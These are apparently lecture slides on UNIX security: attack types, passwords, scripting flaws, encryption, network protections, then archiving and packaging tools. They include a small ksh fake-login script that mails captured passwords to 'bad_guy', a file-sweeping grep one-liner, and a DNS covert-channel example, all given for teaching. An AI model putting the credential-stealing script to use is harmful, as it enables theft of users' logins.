Lecture 11

UNIX Security

Important Aspects of Security

- Authentication: Make sure someone is who they claim to be
- Authorization: Make sure people can't do things they're not supposed to do
- **Policy**: Make sure data is accessible to only those authorized to see it
- **Integrity**: Make sure data is protected against corruption or loss

Head-in-the-Sand Approach

- Disable all connections to/from the outside
- Only accessible from direct-wired terminal
- Machine and terminal in shielded room
- Guard at the door
- Secure, but useless!

Types of Security Risks

- Physical
- Worms and Trojan horses
- Social engineering
- Snooping / Sniffing
- Spoofing
- Denial of Service
- Covert channels

Physical Security

- Easiest attack: Someone who didn't log off or lock their screen
- Breaking into Prof. Lee's office
- Looking over someone's shoulder
 - Steal passwords
- Advanced spying techniques

Worms and Trojan Horses

- Trojan Horse: A program that compromises security by pretending to be an innocuous program.
- Virus: Malicious code that modifies to other non-malicious programs
- Worm: Malicious code that spreads by itself from one machine to another

Social Engineering

(aka lying)

- Maybe the easiest way to breach security
- Phony phone calls
- Wandering hallways
- Hard to avoid:
 - Educate people with privileged information
 - Limit information available

Snooping

- By listening in, you can pick up all kinds of info: passwords, etc.
- This is incredibly easy to do:
 - TCP/IP is unencrypted, passes through lots of machines
 - Packet sniffers are easy to obtain
 - Back Orifice

Spoofing

- An attacker creates a misleading context to trick the victim
- Example: Fake ATM machines
- Lying about origination IP address and user id in rsh/rcp/rlogin commands
 - Tricks the .rhosts file
- Spoofed web pages / email
 - Take advantage of mistyped pages
 - Pretend to be "official PayPal pages" requiring login and password

UNIX Spoofing Example

login: jlk

• Fake login screen:

```
#!/bin/ksh
print -n "login: "
read login
print -n "Password:"
stty -echo
read passwd
stty +echo
print "$login:$password" | mail bad_guy
print "\nLogin incorrect"
exit
```

Denial Of Service

- Not to gain access, but to deny access for legitimate users
 - malice, revenge, personal gain
- Example: send echo request with forged source address
- Example: fill up logs
- Example: SYN+ACK, start a TCP connection but never acknowledge. Server keeps resources around until timeout (3 minutes)
- DDOS: Distributed Denial of Service Attacks

Covert Channels

- A covert channel is some way of getting information other than direct reads and writes.
- Example: Sun's Java Sandbox
 - Exploits DNS:
 - yes: lookup IP for *yes.hacker.org*
 - no: lookup IP for *no.hacker.org*

Brute Force

- Hackers "war-dial": try out exhaustive lists of IP addresses, ports
- People forget to set permissions on files
 - Example: leaving a file readable
 - Who's that bored to be looking at my files?
 - Answer: a shell script or cron job
 - find / -print | xargs egrep 'abcd' /dev/null

Exploit Known Problems

- Some people leave default passwords intact
 Example: Routers
- Security bugs are made public after patches are available, but not everyone patches
- Web searches

Security Is Tricky

This subtle bug appeared on an old system, which contained a system call for authentication: auth(char *user, char *password)

Password checked in clear text:

The trick: Use segfaults as covert channel



Orange Book Security

- Government has official well-specified levels of security called "Orange Book Security"
 - C-2: Minimal Security
 - A-1: Highest Security
 - Not yet implemented in any system
- Involves elaborate logging and monitoring
 - Higher levels devote more CPU time to this than anything else
- OpenBSD provides level C2 security

UNIX Passwords

- Passwords are encrypted with a one-way-function:
 - f(password) = encrypted-password
 - No inverse
 - Stored in /etc/password (or /etc/shadow)
- Uses a *salt*:
 - f(salt, password) = encrypted-password
 - Salt is first two bytes of encrypted password
 s9dl30c3LPqV
 - Harder to grep for common passwords

How to Crack Passwords

- Brute force works well
 - Common passwords
 - Combinations of name
 - Go through dictionary
 - Try every key

Avoiding Password Cracking

- Have the **passwd** program:
 - Try to crack the password
 - Enforce minimum lengths
- Use /etc/shadow
- Occasionally run password crackers
- Expiration dates?
 - Controversial

Scripting Security Tips

- Setuid/setgid scripts are often useful for writing system administrative tasks.
- Make scripts as small as possible
- Be very careful in scripting
 - Never put . or relative directories in **PATH**
 - Do not use **eval** in your script
 - Be careful about creating temporary files
 - ksh: avoid file name expansion (set -o noglob) and word splitting (IFS='')

A Subtle Scripting Security Flaw

- **#!** works by invoking the first line of the script with first argument being the name of the script
- The danger: I make a symbolic link to a setuid shell script, and in between the invocation of the script and the execution of the #! program, I switch the contents.



CGI Attacks

- Do not trust anything you receive in a form
 - Always check for special characters
 - Don't make assumptions about length
- Be careful constructing file names
 - Input could have references to other directories
- Check for errors along the way

Encryption

• Encryption allows data to be protected by converting it to a form that cannot be read without proper authentication.

The crypt command

- Works similar to the German Enigma
 - f(clear) = cypher
 - f(cypher) = clear
- crypt command works with stdin/stdout
 - EG: crypt opensesame < mail > mail.enc
- Some UNIX editors can handle crypted files
 vi -x mail.enc
- Not secure
 - cbw: Crypt breaker's workbench

Public Key Encryption

- Regular encryption (e.g., crypt, DES) :
 - Encryption function E(key, plaintext)
 - Decryption function **D**(*key*, *cyphertext*)
 - $\mathbf{D}(key, \mathbf{E}(key, plaintext)) = plaintext$
 - *key* is private
- Public key:
 - *public_key* = **f**(*key*)
 - $\mathbf{E}(public_key, plaintext) = \mathbf{E}(key, plaintext)$ \mathbf{BUT}
 - D(public_key, cyphertext) != D(key, cyphertext)
 - *public_key* made public, *key* kept private

Public Key Algorithms

- RSA
 - System by Rivest, Shamir, Adleman
 - Security dependent on difficulty of factoring large numbers
- PGP
 - Pretty Good Privacy
 - Similar to RSA, but also mixes in other approaches
 - Gets around RSA patent and is free

How many bits do you need?

• Always theoretically possible to simply try every key

•Key Size	•Time	•Time
(hite)	(1ue/test)	(1nc/106tost)
•32	•35.8 mins	•2.15 msec
•40	•6.4 days	•550 msec
•56	•1140 years	•10.0 hours
•64	•~500000 years	•107 days
•128	•5 x 10 ²⁴ years	•5 x 10 ¹⁸ years

Signatures

- The dual of public key encryption
 - **D**(*public_key*, *plaintext*) = **D**(*key*, *plaintext*) **BUT**
 - **E**(*public_key*, *cyphertext*) != **E**(*key*, *cyphertext*)
- Verify software is not hacked
- Verify contents of email

Network Security

Problems With Sockets

- Easy to snoop
- Very dangerous for a telnet session, since password is typed in plaintext



The "r" commands

- Commands rsh, rcp, rlogin introduced in Berkeley UNIX for network authentication
- Avoid sending passwords over network
- Verify user by checking if:
 - Originating machine listed in /etc/hosts.equiv
 - Originating port privileged
 - User and machine listed in \$HOME/.rhosts
- Problems:
 - Files with wrong permissions
 - Security problems propagate through network

Secure Sockets

- SSL = Secure Sockets Layer
- Behave just like regular TCP/IP sockets
- When a connection is made:
 - Server sends public key to client
 - Client sends public key to server
 - Each side uses private key to decrypt incoming traffic, and the other's public key to encrypt outgoing traffic
- Certificates
 - Assure that a public key belongs to a who they claim

Secure Sockets Examples

- ssh: Secure shell
 - Opens a telnet session to a secure socket
 - Also includes scp and sftp, replacements for
 rcp and ftp (somtimes r* commands replaced)
- https: Secure http
 - Used on web for credit cards, etc.

The Internet Worm

- By Robert Morris Jr., 1988
- Exploited a notorious C bug in programs sendmail, finger, rsh, etc:
 - Buffer overflow
 - gets is bad
 - So is scanf

Kerberos

- System for clients to authenticate over insecure networks
- ssl problematic because:
 - Private keys can be stolen
 - Passphrases not transitive across hosts
 - Not centralized
- Uses secret key encryption
- Concept of *tickets* issued by authentication server

Firewalls: The Theory

- The larger the program, the more buggy (therefore less secure) it is.
- If you do not run a program, it is secure.
- Therefore, run as few programs as possible, and only small ones.
- How do you do this?
 - Isolate them

Firewalls

• A barrier to protect resources inside a network from the outside



- A firewall examines each network packet to determine whether to forward it toward its destination or not.
- Can be hardware or software
- Also includes a *proxy server*: makes network requests on behalf of users inside the firewall.

VPNs

- Secure the transmission of IP datagrams through uncontrolled an untrusted networks.
 - Encrypt TCP/IP traffic at very low level
 - Machine using VPN appears to be in local net of host machine
- Protocols
 - IPsec
 - L2TP
 - PPTP
 - MPLS



Thwarting attackers

- Use log files (/var/adm)
 - Look for statistical anomalies
 - Rules to detect suspicious behavior
- Check backups
- Packet filtering
- Watch hackers (Berford)
- Think like the hacker
 - Join hacker mailing lists, web sites
 - Try to break into your own system
 - Are hacking tools good or bad?

Security Through Obscurity

- An approach to security:
 - Don't publish anything
 - Purposely make complex
- Does not work well
 - Hard to debug and analyze
 - Flaws will be found, but more likely by hackers

Security Needs Trust

- Ken Thompson Turing Award Speech "Reflections on Trust"
 - How do you know if a program is secure?
 - Look at the source code
 - How do you know if the compiler is secure?

else

```
compile-normal();
```

- Look at assembly code
- How do you know assembly is secure?
- ... until lowest levels of hardware

Further Reading



Archives

(If we have time)

tar: Tape ARchiver

- **tar**: general purpose archive utility (not just for tapes)
 - Usage: tar [options] [files]
 - Originally designed for maintaining an archive of files on a magnetic tape.
 - Now often used for packaging files for distribution
 - If any files are subdirectories, tar acts on the entire subtree.

tar: archiving files options

- c creates a tar-format file
 f filename specify filename for tar-format file,
 - Default is /dev/rmt0.
 - If is used for filename, standard input or standard output is used as appropriate
- v verbose output
 x allows to extract named files

tar: archiving files (continued)

t generates table of contents
 r unconditionally appends the listed files to the archive files
 u appends only files that are more recent than those already archived
 L follow symbolic links
 m do not restore file modification times
 print error messages about links it cannot find

cpio: copying files

- **cpio:** copy file archives in from or out of tape or disk or to another location on the local machine
- Similar to **tar**
- Examples:
 - Extract: cpio -idtu [patterns]
 - Create: cpio -ov
 - Pass-thru: cpio -pl directory

CPiO (continued)

• cpio -i [dtum] [patterns]

- Copy in (extract) files whose names match selected patterns.
- If no pattern is used, all files are extracted
- During extraction, older files are not extracted (unless -u option is used)
- Directories are not created unless –d is used
- Modification times not preserved with -m
- Print the table of contents: –t

CPIO (continued)

- cpio -ov
 - Copy out a list of files whose names are given on the standard input. -v lists files processed.

cpio -p [options] directory

- Copy files to another directory on the same system. Destination pathnames are relative to the named directory
- Example: To copy a directory tree:
 - find . -depth -print | cpio -pdumv /mydir

pax: replacement for cpio and tar

- Portable Archive eXchange format
- Part of POSIX
- Reads/writes **cpio** and **tar** formats
- Union of **cpio** and **tar** functionality
- Files can come from standard input or command line
- Sensible defaults
 - pax -wf archive *.c
 - pax -r < archive</pre>

Distributing Software

- Pieces typically distributed:
 - Binaries
 - Required runtime libraries
 - Data files
 - Man pages
 - Documentation
 - Header files
- Typically packaged in an archive:
 - E.g., perl-solaris.tar Of perl-solaris.tgz

RPM

- Red Hat Package Manager
- Originally for Linux, has been ported to other UNIX flavors
- Software distribution part of a *package*:
 - Archive with binaries, documentation, libs, etc.
 - Extra file with meta-information:
 - What each file is
 - What goes where
 - Other software that must be installed first
 - Version info
- Helps with upgrades and removal

RPM Functionality

- Install package: rpm -ivh package
- Upgrade package: **rpm –Uvh** *package*
- Freshen package: rpm –Fvh package
- Erase package: **rpm -e** package
- Query packages: **rpm** -**q**
- Build package: **rpm** -ta tarfile
- Verify package: **rpm** -**V**, **rpm** -**K**

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Packaging Source: Autoconf

- Produces shell scripts that automatically configure software to adapt to UNIX-like systems.
 - Creates makefile
 - Header files
- Check for:
 - programs
 - libraries
 - header files
 - typedefs
 - structures
 - compiler characteristics
 - library functions
 - system services

Installing Software From Tarballs

tar xzf <gzipped-tar-file>
cd <dist-dir>

./configure

make

make install

Other Development Tools

- Pretty Printers
 - Reformats program code to make it easier to read
 - Many options to accommodate multiple styles
 - indent, cb, bcpp
- Reverse Engineering
 - cxref, cflow, cscope
- Documentation Systems
 - Doxygen
 - See
- Program Checkers
 - Detects possible bugs, non-portability, bad style, waste
 - lint